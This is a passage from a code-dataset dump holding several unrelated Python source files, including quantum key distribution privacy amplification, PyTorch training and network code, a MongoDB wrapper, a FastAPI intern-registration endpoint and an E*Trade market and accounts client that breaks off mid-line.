BatchNorm Layers.\n \"\"\"\n def __init__(self, model, args):\n super().__init__()\n self.model = model\n self.model = configure_model(self.model)\n\n def forward(self, x):\n return self.model(x)\n\n\n\ndef configure_model(model):\n \"\"\"Configure model for use with tent.\"\"\"\n model.eval()\n model.requires_grad_(False)\n for m in model.modules():\n if isinstance(m, nn.BatchNorm2d):\n m.training = True\n # To force the model to use batch statistics\n m.track_running_stats = False\n m.running_mean = None\n m.running_var = None\n return model\n","repo_name":"MotasemAlfarra/Online_Test_Time_Adaptation","sub_path":"tta_methods/adabn.py","file_name":"adabn.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"} +{"seq_id":"25846636743","text":"#!/usr/bin/python\n# coding: utf-8\n\nimport sys\nimport os\nimport math\nimport numpy as np\nfrom scipy.stats import norm\n\nsys.path.insert(0, os.path.abspath('..'))\n\nfrom common.funcs import h\nfrom common.parseargs import ErrorPrintArgumentParser\nfrom common.files import array_from_file\nfrom common.files import array_to_file\n\n\ndef verify_input(mu, nu, lmbd):\n if nu >= mu:\n raise ValueError(\"Intensity of decoy state must be less then \"\n \"intensity of the signal status photon beam\")\n if lmbd >= nu / 2 or (lmbd + nu) >= mu:\n raise ValueError(\"Intensity of vacuum state is incorrect\")\n\n\ndef get_key_length(n, Epa, r, t, mu, nu, lmbd, Nmu, nmu, Nnu, nnu, Nl, nl, emu):\n \"\"\"\n :param: Epa Required reliability level\n :param: Lmin Minimal key length\n :param: r Total syndromes length\n :param: t Total hash-tag length\n :param: mu Intensity of the signal status photon beam\n :param: nu Intensity of decoy state\n :param: lmbd Intensity of vacuum state\n :param: Nmu Number of send singal states\n :param: nmu Number of registered signal states\n :param: Nnu Number of send decoy states\n :param: nnu Number of registered decoy states\n :param: Nl Number of send vacuum states\n :param: nl Number of registered vacuum states\n :param: emu Error rate in signal states\n :return: Length of secret key\n \"\"\"\n d = -norm.ppf(Epa ** 4 / 8)\n\n Qmu = nmu / Nmu\n Qnu = nnu / Nnu\n Ql = nl / Nl\n Qmuhat = Qmu + d * np.sqrt(Qmu * (1 - Qmu) / Nmu)\n QnuhatU = nnu / Nnu + d * np.sqrt(Qnu * (1 - Qnu) / Nnu)\n QnuhatL = nnu / Nnu - d * np.sqrt(Qnu * (1 - Qnu) / Nnu)\n QlhatU = nl / Nl + d * np.sqrt(Ql * (1 - Ql) / Nl)\n QlhatL = nl / Nl - d * np.sqrt(Ql * (1 - Ql) / Nl)\n\n Y0L = (nu * QlhatL * np.exp(lmbd) - lmbd * QnuhatU * np.exp(nu)) / (nu - lmbd)\n\n if Y0L < 0:\n Y0L = 0\n\n Q1hat = mu * np.exp(-mu) * (\n QnuhatL * np.exp(nu) - QlhatU * np.exp(lmbd) -\n (Qmuhat * np.exp(mu) - Y0L) * (nu * nu - lmbd * lmbd) / (mu * mu)) /\\\n (nu * (1 - nu / mu) - lmbd * (1 - lmbd / mu))\n\n eta1hat = Q1hat / Qmuhat\n\n k1hat = eta1hat - d * np.sqrt(eta1hat * (1 - eta1hat) / n)\n\n Emuhat = emu + d * np.sqrt(emu * (1 - emu) / n)\n E1hat = (Emuhat * Qmuhat - Y0L * np.exp(-mu) / 2) / Q1hat\n\n e1hat = E1hat + d * np.sqrt(E1hat * (1 - E1hat) / n)\n if math.isnan(e1hat):\n return -1\n key_length = k1hat * n * (1 - h(e1hat)) - r - t - 5 * np.log2(1 / Epa)\n\n return int(key_length)\n\n\ndef ceil_to_power_of_two(x):\n return 1 << (x - 1).bit_length()\n\n\ndef toeplitz_permutation(K, l, S):\n \"\"\"\n :param K: Verified key\n :param l: Secret key length\n :param S: Toeplitz matrix seed\n :return: Secret key\n \"\"\"\n vertical = S[:l]\n horizontal = S[l - 1:l + K.size - 1]\n\n desired_length = ceil_to_power_of_two(K.size * 2)\n toeplitz_seed_filler_len = desired_length - vertical.size - horizontal[::-1][:-1].size\n toeplitz_seed = np.hstack((vertical, np.zeros((toeplitz_seed_filler_len,)), horizontal[::-1][:-1])).astype(np.int)\n padded_key = np.hstack((K, np.zeros(desired_length - K.size, ))).astype(np.int)\n\n result = np.around(np.fft.ifft(np.fft.fft(toeplitz_seed) * np.fft.fft(padded_key)).real).astype(np.int) % 2\n\n return result[:l]\n\n\ndef processing(K, Epa, Lmin, r, t, mu, nu, lmbd, Nmu, nmu, Nnu, nnu, Nl, nl, emu, S):\n \"\"\"\n :param: K Verified key of length n\n :param: Epa Required reliability level\n :param: Lmin Minimal key length\n :param: r Total syndromes length\n :param: t Total hash-tag length\n :param: mu Intensity of the signal status photon beam\n :param: nu Intensity of decoy state\n :param: lmbd Intensity of vacuum state\n :param: Nmu Number of send singal states\n :param: nmu Number of registered signal states\n :param: Nnu Number of send decoy states\n :param: nnu Number of registered decoy states\n :param: Nl Number of send vacuum states\n :param: nl Number of registered vacuum states\n :param: emu Error rate in signal states\n :param: S Toeplitz seed of length 2n\n :return: Secret key\n \"\"\"\n verify_input(mu, nu, lmbd)\n\n l = get_key_length(K.size, Epa, r, t, mu, nu, lmbd,\n Nmu, nmu, Nnu, nnu, Nl, nl, emu)\n if l < Lmin:\n raise Exception(\"Key generation is not safe\")\n\n if S.size < (l + K.size - 1):\n raise Exception(\"Key string length not enough to generate a Toeplitz matix\")\n\n return toeplitz_permutation(K, l, S)\n\n\ndef main():\n parser = ErrorPrintArgumentParser(description='File generator for authorization.py.')\n parser.add_argument('--epa', default=1e-12, type=float, help='Required reliability level')\n parser.add_argument('--lmin', default=894, type=float, help='Minimal key length')\n parser.add_argument('-r', '--syndromes-len', default=314496.0, type=float, help='Total syndromes length')\n parser.add_argument('-t', '--hash-tags-len', default=50.0, type=float, help='Total hash-tag length')\n parser.add_argument('--mu', default=0.5, type=float, help='Intensity of the signal status photon beam')\n parser.add_argument('--nu', default=0.1, type=float, help='Intensity of decoy state')\n parser.add_argument('--lmbd', default=0.01, type=float, help='Intensity of vacuum state')\n parser.add_argument('--nmu-send', default=700000000.0, type=float, help='Number of send singal states')\n parser.add_argument('--nmu-reg', default=2032904.0, type=float, help='Number of registered signal states')\n parser.add_argument('--nnu-send', default=700000000.0, type=float, help='Number of send decoy states')\n parser.add_argument('--nnu-reg', default=476021.0, type=float, help='Number of registered decoy states')\n parser.add_argument('--nl-send', default=700000000.0, type=float, help='Number of send vacuum states')\n parser.add_argument('--nl-reg', default=125722.0, type=float, help='Number of registered vacuum states')\n parser.add_argument('--emu', default=0.0452813, type=float, help='Error rate in signal states')\n parser.add_argument('-k', '--key-path', default='key.txt', help='Path to file containing key')\n parser.add_argument('-s', '--s-path', default='toeplitz_seed.txt',\n help='Path to file containing data for Toeplitz matrix generation')\n parser.add_argument('-o', '--output', default='result.txt',\n help='Path to output file')\n args = parser.parse_args()\n\n K = array_from_file(args.key_path)[0]\n S = array_from_file(args.s_path)[0]\n\n result = processing(K, args.epa, args.lmin,\n args.syndromes_len, args.hash_tags_len,\n args.mu, args.nu, args.lmbd,\n args.nmu_send, args.nmu_reg, args.nnu_send, args.nnu_reg, args.nl_send, args.nl_reg,\n args.emu, S)\n\n array_to_file([result], args.output)\n\n\nif __name__ == '__main__':\n try:\n main()\n except Exception as exc:\n sys.stderr.write(u\"{}\\n{}\\n\".format(-1, exc))\n sys.exit(1)\n","repo_name":"tony-blake/qkd-python-kiktenko","sub_path":"privacy_amplification/privacy_amplification.py","file_name":"privacy_amplification.py","file_ext":"py","file_size_in_byte":7131,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"8234956570","text":"from data_utils import *\nfrom one_cycle_lr import OneCycleScheduler\n\noutput_path = '/output/'\n\n\n# solver of model with validation\nclass NetSolver(object):\n\n def __init__(self, model, optimizer, scheduler=None, checkpoint_name='toxic_comment'):\n self.model = model\n self.optimizer = optimizer\n self.scheduler = scheduler\n self.checkpoint_name = checkpoint_name\n\n self.model = self.model.to(device=device)\n self._reset()\n\n def _reset(self):\n \"\"\"\n Set up some book-keeping variables for optimization. Don't call this\n manually.\n \"\"\"\n self.best_val_loss = 0.\n self.best_val_auc = 0.\n self.loss_history = []\n self.val_loss_history = []\n self.auc_history = []\n self.val_auc_history = []\n\n def _save_checkpoint(self, epoch, val_l, val_a):\n torch.save(self.model.state_dict(),\n output_path+self.checkpoint_name+'_%.3f_%.3f_epoch_%d.pth' %(val_l, val_a, epoch))\n checkpoint = {\n 'optimizer': str(type(self.optimizer)),\n 'scheduler': str(type(self.scheduler)),\n 'epoch': epoch,\n }\n with open(output_path+'hyper_param_optim.json', 'w') as f:\n json.dump(checkpoint, f)\n\n\n def forward_pass(self, x, y):\n x = x.to(device=device, dtype=torch.long)\n y = y.to(device=device, dtype=dtype)\n scores = self.model(x)\n loss = F.binary_cross_entropy_with_logits(scores, y)\n return loss, torch.sigmoid(scores)\n\n\n def lr_range_test(self, train_loader, start_lr=1e-7, end_lr=10, num_it=100, stop_div=True):\n epochs = int(np.ceil(num_it/len(train_loader)))\n n_groups = len(self.optimizer.param_groups)\n\n if isinstance(start_lr, list) or isinstance(start_lr, tuple):\n if len(start_lr) != n_groups:\n raise ValueError(\"expected {} max_lr, got {}\".format(n_groups, len(start_lr)))\n self.start_lrs = list(start_lr)\n else:\n self.start_lrs = [start_lr] * n_groups\n\n if isinstance(end_lr, list) or isinstance(end_lr, tuple):\n if len(end_lr) != n_groups:\n raise ValueError(\"expected {} max_lr, got {}\".format(n_groups, len(end_lr)))\n self.end_lrs = list(end_lr)\n else:\n self.end_lrs = [end_lr] * n_groups\n\n curr_lrs = self.start_lrs*1\n for param_group, lr in zip(self.optimizer.param_groups, curr_lrs):\n param_group['lr'] = lr\n\n n, lrs_logs, loss_log = 0, [], []\n\n for e in range(epochs):\n self.model.train()\n for x, y in train_loader:\n loss, _ = self.forward_pass(x, y)\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n lrs_logs.append(curr_lrs)\n loss_log.append(loss.item())\n\n # update best loss\n if n == 0:\n best_loss, n_best = loss.item(), n\n else:\n if loss.item() < best_loss:\n best_loss, n_best = loss.item(), n\n\n # update lr per iter with exponential schedule\n n += 1\n curr_lrs = [lr * (end_lr/lr) ** (n/num_it) for lr, end_lr in zip(self.start_lrs, self.end_lrs)]\n for param_group, lr in zip(self.optimizer.param_groups, curr_lrs):\n param_group['lr'] = lr\n\n # stopping condition\n if n == num_it or (stop_div and (loss.item() > 4*best_loss or torch.isnan(loss))):\n break\n\n print('minimum loss {}, at lr {}'.format(best_loss, lrs_logs[n_best]))\n return lrs_logs, loss_log\n\n\n def train(self, loaders, epochs):\n train_loader, val_loader = loaders\n\n # start training for epochs\n for e in range(epochs):\n self.model.train()\n print('\\nEpoch %d / %d:' % (e + 1, epochs))\n running_loss = 0.\n\n for x, y in train_loader:\n loss, _ = self.forward_pass(x, y)\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n running_loss += loss.item() * x.size(0)\n\n N = len(train_loader.dataset)\n train_loss = running_loss / N\n train_auc, _ = self.check_auc(train_loader, num_batches=50)\n val_auc, val_loss = self.check_auc(val_loader, save_scores=True)\n\n self.log_and_checkpoint(e, train_loss, val_loss, train_auc, val_auc)\n\n\n def train_one_cycle(self, loaders, epochs):\n train_loader, val_loader = loaders\n\n # start training for epochs\n for e in range(epochs):\n self.model.train()\n print('\\nEpoch %d / %d:' % (e + 1, epochs))\n running_loss = 0.\n\n for x, y in train_loader:\n loss, _ = self.forward_pass(x, y)\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n running_loss += loss.item() * x.size(0)\n\n # update lr, mom per iter\n if self.scheduler is None:\n raise ValueError(\"expected OneCycleScheduler, but got None\")\n self.scheduler.step()\n\n N = len(train_loader.dataset)\n train_loss = running_loss / N\n train_auc, _ = self.check_auc(train_loader, num_batches=50)\n val_auc, val_loss = self.check_auc(val_loader, save_scores=True)\n\n self.log_and_checkpoint(e, train_loss, val_loss, train_auc, val_auc)\n\n\n def log_and_checkpoint(self, e, train_loss, val_loss, train_auc, val_auc):\n # checkpoint and record/print metrics at epoch end\n self.loss_history.append(train_loss)\n self.val_loss_history.append(val_loss)\n self.auc_history.append(train_auc)\n self.val_auc_history.append(val_auc)\n\n # for floydhub metric graphs\n print('{\"metric\": \"AUC\", \"value\": %.4f, \"epoch\": %d}' % (train_auc, e+1))\n print('{\"metric\": \"Val. AUC\", \"value\": %.4f, \"epoch\": %d}' % (val_auc, e+1))\n print('{\"metric\": \"Loss\", \"value\": %.4f, \"epoch\": %d}' % (train_loss, e+1))\n print('{\"metric\": \"Val. Loss\", \"value\": %.4f, \"epoch\": %d}' % (val_loss, e+1))\n\n is_updated = False\n if e == 0:\n self.best_val_auc = val_auc\n self.best_val_loss = val_loss\n if val_auc > self.best_val_auc:\n print('updating best val auc...')\n self.best_val_auc = val_auc\n is_updated = True\n if val_loss < self.best_val_loss:\n print('updating best val loss...')\n self.best_val_loss = val_loss\n is_updated = True\n if e > 1 and is_updated:\n print('Saving model...')\n self._save_checkpoint(e+1, val_loss, val_auc)\n print()\n\n\n def check_auc(self, loader, num_batches=None, save_scores=False):\n self.model.eval()\n targets, scores, losses = [], [], []\n with torch.no_grad():\n for t, (x, y) in enumerate(loader):\n l, score = self.forward_pass(x, y)\n targets.append(y.cpu().numpy())\n scores.append(score.cpu().numpy())\n losses.append(l.item())\n if num_batches is not None and (t+1) == num_batches:\n break\n\n targets = np.concatenate(targets)\n scores = np.concatenate(scores)\n if save_scores:\n self.val_scores = scores # to access from outside\n\n auc = roc_auc_score(targets, scores)\n loss = np.mean(losses)\n\n return auc, loss\n\n\n","repo_name":"yurayli/jigsaw-toxic-comments","sub_path":"jigsaw_toxic_pytorch/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":7711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30306043339","text":"import os\nimport pickle\nimport re\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef scattermetric(data, metric, ax):\n nums = sorted(data.keys())\n\n for cur in nums:\n rero_points = data[cur]['rero'][metric]\n paco_points = data[cur]['paco'][metric]\n x_axis = np.zeros(len(paco_points)) + cur\n ax.scatter(x_axis, (rero_points / np.min(paco_points) - 1) * 100, c='c',\n alpha=0.5, s=30)\n ax.scatter(x_axis, (paco_points / np.min(paco_points) - 1) * 100, c='m',\n alpha=0.5, s=30)\n ax.set_ylabel(f\"{metric} % loss from minimum achieved\")\n ax.set_xlabel(\"# inactive GSTs\")\n plt.tight_layout()\n\n\ndef load_all_runs(path_to_dir):\n data = {}\n all_hist_paco = []\n all_hist_rero = []\n all_percent_loss = []\n PACO_NAME = \"pathcontrol_stat.pkl\"\n RERO_NAME = \"rerouting_stat.pkl\"\n\n for cur_dir in os.listdir(path_to_dir):\n full_path = os.path.join(path_to_dir, cur_dir)\n if os.path.isfile(full_path):\n continue\n num_inactive = int(re.findall('\\d+', cur_dir)[0])\n\n with open(os.path.join(full_path, PACO_NAME), 'rb') as infile:\n paco = pickle.load(infile)\n with open(os.path.join(full_path, RERO_NAME), 'rb') as infile:\n rero = pickle.load(infile)\n\n if num_inactive not in data:\n data[num_inactive] = {'paco': {}, 'rero': {}}\n data[num_inactive]['paco'] = {\n 'max': [paco['cmax']],\n 'min': [paco['cmin']],\n 'avg': [paco['avg']],\n 'q1': [paco['q1']],\n 'q2': [paco['q2']],\n 'q3': [paco['q3']],\n 'hist': [paco['hist']],\n }\n all_hist_paco.append(paco['hist'][0])\n data[num_inactive]['rero'] = {\n 'max': [rero['cmax']],\n 'min': [rero['cmin']],\n 'avg': [rero['avg']],\n 'q1': [rero['q1']],\n 'q2': [rero['q2']],\n 'q3': [rero['q3']],\n 'hist': [rero['hist']],\n }\n all_hist_rero.append(rero['hist'][0])\n all_percent_loss.append(rero['percent_loss'])\n\n else:\n data[num_inactive]['paco']['max'].append(paco['cmax'])\n data[num_inactive]['paco']['min'].append(paco['cmin'])\n data[num_inactive]['paco']['avg'].append(paco['avg'])\n data[num_inactive]['paco']['q1'].append(paco['q1'])\n data[num_inactive]['paco']['q2'].append(paco['q2'])\n data[num_inactive]['paco']['q3'].append(paco['q3'])\n data[num_inactive]['paco']['hist'].append(paco['hist'])\n all_hist_paco.append(paco['hist'][0])\n\n data[num_inactive]['rero']['max'].append(rero['cmax'])\n data[num_inactive]['rero']['min'].append(rero['cmin'])\n data[num_inactive]['rero']['avg'].append(rero['avg'])\n data[num_inactive]['rero']['q1'].append(rero['q1'])\n data[num_inactive]['rero']['q2'].append(rero['q2'])\n data[num_inactive]['rero']['q3'].append(rero['q3'])\n data[num_inactive]['rero']['hist'].append(rero['hist'])\n\n all_hist_rero.append(rero['hist'][0])\n all_percent_loss.append(rero['percent_loss'])\n\n return data, all_hist_paco, all_hist_rero, all_percent_loss\n\n\ndef plotmetric(metric, m_name, **kwargs):\n avg = np.average(metric, axis=0)\n maxim = np.max(metric, axis=0)\n minim = np.min(metric, axis=0)\n plt.plot(avg, label=f\"Avg. {m_name}\", **kwargs)\n plt.fill_between(np.arange(120), maxim, minim, alpha=0.2,\n label=f\"Range {m_name}\")\n","repo_name":"giacgiuliari/ccr-internet-backbones-in-space","sub_path":"lib/analysis_util.py","file_name":"analysis_util.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"33256478551","text":"import uuid\nimport os\nfrom pymongo import MongoClient, ReturnDocument\n\n\nclass Database(object):\n def __init__(self,\n host=os.environ.get(\"DB_PORT_27017_TCP_ADDR\", \"localhost\"),\n port=int(os.environ.get(\"DB_PORT_27017_TCP_PORT\", 27017))):\n self.client = MongoClient(host, port)\n self.db = self.client.db\n\n def save(self, model):\n if not getattr(model, \"_id\", None):\n model._id = uuid.uuid4()\n\n bson = self.db[model._collection].find_one_and_replace(\n {\"_id\": model._id},\n model.json(),\n upsert=True,\n return_document=ReturnDocument.AFTER\n )\n return model.__class__(**bson)\n\n def get_by_id(self, cls, _id):\n return self.get(cls, {\"_id\": _id})\n\n def get(self, cls, query):\n bson = self.db[cls._collection].find_one(query)\n\n if not bson:\n return None\n\n return cls(**bson)\n","repo_name":"beeworking/tcgrng_api","sub_path":"tcgrng_api/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"26912567989","text":"from fastapi import Depends, HTTPException, APIRouter, UploadFile, File\nfrom sqlalchemy.orm import Session\nimport uuid\nfrom typing import Annotated\n\n\nfrom sql_app import schemas\nimport crud.crud\nfrom libraries.make_tempdir import make_dir_estagiario\nfrom sql_app.sql_session import get_db\nfrom schemas.new_user_response import NewUserResponse\n\n\nrouter = APIRouter()\n\n\n@router.post(\"/novo-estagiario\")\nasync def cadastrar_estagiario(novo_estagiario: NewUserResponse = Depends(), db: Session = Depends(get_db)):\n db_user = crud.crud.get_user_by_matricula(db, novo_estagiario.matricula)\n if db_user:\n raise HTTPException(status_code=400, detail=\"Matricula já cadastrada\")\n\n dir_path = await make_dir_estagiario(novo_estagiario.matricula)\n new_user = crud.crud.create_user(db, novo_estagiario)\n \n foto_name = uuid.uuid3(uuid.NAMESPACE_DNS, novo_estagiario.matricula)\n file_path = f\"{dir_path}/{foto_name}.jpg\"\n \n foto_data = await novo_estagiario.imagem.read()\n\n with open(file_path, \"wb\") as file:\n file.write(foto_data)\n\n salva_img = {\n 'path_imagem': str(file_path),\n 'id_user': int(new_user.id)\n }\n crud.crud.save_image(db, schemas.ImagensCreate(**salva_img))\n return {\"message\": f\"{new_user.nome} cadastrado com sucesso!\"}\n\n\n\n@router.get(\"/estagiarios\")\ndef listar_estagiarios(db: Session = Depends(get_db)):\n return crud.crud.get_users(db)\n\n\n@router.get(\"/estagiarios/{matricula}\", response_model=schemas.Estagiarios)\ndef achar_estagiarios(matricula: str, db: Session = Depends(get_db)):\n db_user = crud.crud.get_user_by_matricula(db, matricula)\n if db_user is None:\n raise HTTPException(status_code=404, detail=\"User not found\")\n return db_user","repo_name":"MrPaivas/ponto-eletronico-facial-reco-estagio","sub_path":"endpoints/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41545638063","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom src import const\nfrom src.base_networks import CustomUnetGenerator, ModuleWithAttr, VGG16Extractor\n\n\nclass WholeNetwork(ModuleWithAttr):\n\n def __init__(self):\n super(WholeNetwork, self).__init__()\n self.vgg16_extractor = VGG16Extractor()\n self.lm_branch = const.LM_BRANCH(const.LM_SELECT_VGG_CHANNEL)\n self.downsample = nn.Upsample((28, 28), mode='bilinear', align_corners=False)\n self.attention_pred_net = CustomUnetGenerator(512 + 1, 512, num_downs=2, ngf=32, last_act='tanh')\n self.pooled_4 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.conv5_1 = nn.Conv2d(512, 512, 3, padding=1)\n self.conv5_2 = nn.Conv2d(512, 512, 3, padding=1)\n self.conv5_3 = nn.Conv2d(512, 512, 3, padding=1)\n conv5_para_vgg16 = [\n self.vgg16_extractor.vgg[-7].state_dict(),\n self.vgg16_extractor.vgg[-5].state_dict(),\n self.vgg16_extractor.vgg[-3].state_dict(),\n ]\n self.conv5_1.load_state_dict(conv5_para_vgg16[0])\n self.conv5_2.load_state_dict(conv5_para_vgg16[1])\n self.conv5_3.load_state_dict(conv5_para_vgg16[2])\n self.pooled_5 = nn.MaxPool2d(kernel_size=2, stride=2)\n\n self.category_fc1 = nn.Linear(512 * 7 * 7, 1024)\n self.category_fc2 = nn.Linear(1024, 48)\n self.attr_fc1 = nn.Linear(512 * 7 * 7, 1024)\n self.attr_fc2 = nn.Linear(1024, 1000 * 2)\n\n self.category_loss_func = torch.nn.CrossEntropyLoss()\n self.attr_loss_func = torch.nn.CrossEntropyLoss(weight=torch.tensor([const.WEIGHT_ATTR_NEG, const.WEIGHT_ATTR_POS]).to(const.device))\n\n def forward(self, sample):\n batch_size, channel_num, image_h, image_w = sample['image'].size()\n vgg16_output = self.vgg16_extractor(sample['image'])\n vgg16_for_lm = vgg16_output[const.LM_SELECT_VGG]\n lm_pos_map, lm_pos_output = self.lm_branch(vgg16_for_lm)\n\n lm_merge_map, _ = lm_pos_map.max(dim=1, keepdim=True)\n lm_merge_map = self.downsample(lm_merge_map)\n\n conv_feature = vgg16_output['conv4_3']\n\n attention_map = torch.cat([lm_merge_map, conv_feature], dim=1)\n attention_map = self.attention_pred_net(attention_map)\n\n new_conv_feature = (1 + attention_map) * conv_feature\n\n new_conv_feature = self.pooled_4(new_conv_feature)\n new_conv_feature = F.relu(self.conv5_1(new_conv_feature))\n new_conv_feature = F.relu(self.conv5_2(new_conv_feature))\n new_conv_feature = F.relu(self.conv5_3(new_conv_feature))\n new_conv_feature = self.pooled_5(new_conv_feature)\n feature = new_conv_feature.reshape(batch_size, -1)\n\n category_output = self.category_fc1(feature)\n category_output = F.relu(category_output)\n category_output = self.category_fc2(category_output) # [batch_size, 48]\n\n attr_output = self.attr_fc1(feature)\n attr_output = F.relu(attr_output)\n attr_output = self.attr_fc2(attr_output)\n attr_output = attr_output.reshape(attr_output.size()[0], 2, attr_output.size()[1] / 2) # [batch_size, 2, 1000]\n output = {}\n output['category_output'] = category_output\n output['attr_output'] = attr_output\n output['lm_pos_output'] = lm_pos_output\n output['lm_pos_map'] = lm_pos_map\n output['attention_map'] = attention_map\n output['image'] = sample['image']\n\n return output\n\n def cal_loss(self, sample, output):\n batch_size, _, _, _ = sample['image'].size()\n\n lm_size = int(output['lm_pos_map'].shape[2])\n vis_sample = sample['landmark_vis'].reshape(batch_size * 8, -1)\n vis_mask = torch.cat([vis_sample] * lm_size * lm_size, dim=1).float()\n map_sample = sample['landmark_map%d' % lm_size].reshape(batch_size * 8, -1)\n map_output = output['lm_pos_map'].reshape(batch_size * 8, -1)\n lm_pos_loss = torch.pow(vis_mask * (map_output - map_sample), 2).mean()\n\n category_loss = self.category_loss_func(output['category_output'], sample['category_label'])\n attr_loss = self.attr_loss_func(output['attr_output'], sample['attr'])\n\n all_loss = const.WEIGHT_LOSS_CATEGORY * category_loss + \\\n const.WEIGHT_LOSS_ATTR * attr_loss + \\\n const.WEIGHT_LOSS_LM_POS * lm_pos_loss\n\n loss = {\n 'all': all_loss,\n 'category_loss': category_loss.item(),\n 'attr_loss': attr_loss.item(),\n 'lm_pos_loss': lm_pos_loss.item(),\n 'weighted_category_loss': const.WEIGHT_LOSS_CATEGORY * category_loss.item(),\n 'weighted_attr_loss': const.WEIGHT_LOSS_ATTR * attr_loss.item(),\n 'weighted_lm_pos_loss': const.WEIGHT_LOSS_LM_POS * lm_pos_loss.item(),\n }\n return loss\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"fdjingyuan/Deep-Fashion-Analysis-ECCV2018","sub_path":"src/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":4856,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"21"} +{"seq_id":"1123492264","text":"import json\r\nimport logging\r\n\r\nclass Market:\r\n \"\"\"\r\n copy of Etrade API: class Market, further simplication needed\r\n \"\"\"\r\n\r\n def __init__(self, session, base_url):\r\n self.session = session\r\n self.base_url = base_url\r\n\r\n def quotes(self, ticker):\r\n\r\n # URL for the API endpoint\r\n url = self.base_url + \"/v1/market/quote/\" + ticker + \".json\"\r\n\r\n # Make API call for GET request\r\n response = self.session.get(url)\r\n logging.info(\"Request: {0}\".format(response.request.headers))\r\n\r\n if response is not None and response.status_code == 200:\r\n\r\n parsed = json.loads(response.text)\r\n logging.debug(\"Response Body: %s\", json.dumps(parsed, indent=4, sort_keys=True))\r\n\r\n # Handle and parse response\r\n print(\"\")\r\n data = response.json()\r\n if data is not None and \"QuoteResponse\" in data and \"QuoteData\" in data[\"QuoteResponse\"]:\r\n for quote in data[\"QuoteResponse\"][\"QuoteData\"]:\r\n if quote is not None and \"dateTime\" in quote:\r\n print(\"Date Time: \" + quote[\"dateTime\"])\r\n if quote is not None and \"Product\" in quote and \"symbol\" in quote[\"Product\"]:\r\n print(\"Symbol: \" + quote[\"Product\"][\"symbol\"])\r\n if quote is not None and \"Product\" in quote and \"securityType\" in quote[\"Product\"]:\r\n print(\"Security Type: \" + quote[\"Product\"][\"securityType\"])\r\n if quote is not None and \"All\" in quote and \"lastTrade\" in quote[\"All\"]:\r\n print(\"Last Price: \" + str(quote[\"All\"][\"lastTrade\"]))\r\n if quote is not None and \"All\" in quote and \"changeClose\" in quote[\"All\"] \\\r\n and \"changeClosePercentage\" in quote[\"All\"]:\r\n print(\"Today's Change: \" + str('{:,.3f}'.format(quote[\"All\"][\"changeClose\"])) + \" (\" +\r\n str(quote[\"All\"][\"changeClosePercentage\"]) + \"%)\")\r\n if quote is not None and \"All\" in quote and \"open\" in quote[\"All\"]:\r\n print(\"Open: \" + str('{:,.2f}'.format(quote[\"All\"][\"open\"])))\r\n if quote is not None and \"All\" in quote and \"previousClose\" in quote[\"All\"]:\r\n print(\"Previous Close: \" + str('{:,.2f}'.format(quote[\"All\"][\"previousClose\"])))\r\n if quote is not None and \"All\" in quote and \"bid\" in quote[\"All\"] and \"bidSize\" in quote[\"All\"]:\r\n print(\"Bid (Size): \" + str('{:,.2f}'.format(quote[\"All\"][\"bid\"])) + \"x\" + str(\r\n quote[\"All\"][\"bidSize\"]))\r\n if quote is not None and \"All\" in quote and \"ask\" in quote[\"All\"] and \"askSize\" in quote[\"All\"]:\r\n print(\"Ask (Size): \" + str('{:,.2f}'.format(quote[\"All\"][\"ask\"])) + \"x\" + str(\r\n quote[\"All\"][\"askSize\"]))\r\n if quote is not None and \"All\" in quote and \"low\" in quote[\"All\"] and \"high\" in quote[\"All\"]:\r\n print(\"Day's Range: \" + str(quote[\"All\"][\"low\"]) + \"-\" + str(quote[\"All\"][\"high\"]))\r\n if quote is not None and \"All\" in quote and \"totalVolume\" in quote[\"All\"]:\r\n print(\"Volume: \" + str('{:,}'.format(quote[\"All\"][\"totalVolume\"])))\r\n else:\r\n # Handle errors\r\n if data is not None and 'QuoteResponse' in data and 'Messages' in data[\"QuoteResponse\"] \\\r\n and 'Message' in data[\"QuoteResponse\"][\"Messages\"] \\\r\n and data[\"QuoteResponse\"][\"Messages\"][\"Message\"] is not None:\r\n for error_message in data[\"QuoteResponse\"][\"Messages\"][\"Message\"]:\r\n print(\"Error: \" + error_message[\"description\"])\r\n else:\r\n print(\"Error: Quote API service error\")\r\n else:\r\n logging.debug(\"Response Body: %s\", response)\r\n print(\"Error: Quote API service error\")\r\n\r\n\r\nclass Accounts:\r\n \"\"\"\r\n copy of Etrade API: class Accounts, further simplication needed\r\n \"\"\"\r\n\r\n def __init__(self, session, base_url):\r\n\r\n self.session = session\r\n self.account = {}\r\n self.base_url = base_url\r\n\r\n def account_list(self):\r\n \"\"\"\r\n Calls account list API to retrieve a list of the user's E*TRADE accounts\r\n\r\n :param self:Passes in parameter authenticated session\r\n \"\"\"\r\n\r\n # URL for the API endpoint\r\n url = self.base_url + \"/v1/accounts/list.json\"\r\n\r\n # Make API call for GET request\r\n response = self.session.get(url, header_auth=True)\r\n logging.debug(\"Request: %s\", response.request.headers)\r\n\r\n # Handle and parse response\r\n if response is not None and response.status_code == 200:\r\n parsed = json.loads(response.text)\r\n logger.debug(\"Response Body: %s\", json.dumps(parsed, indent=4, sort_keys=True))\r\n\r\n data = response.json()\r\n if data is not None and \"AccountListResponse\" in data and \"Accounts\" in 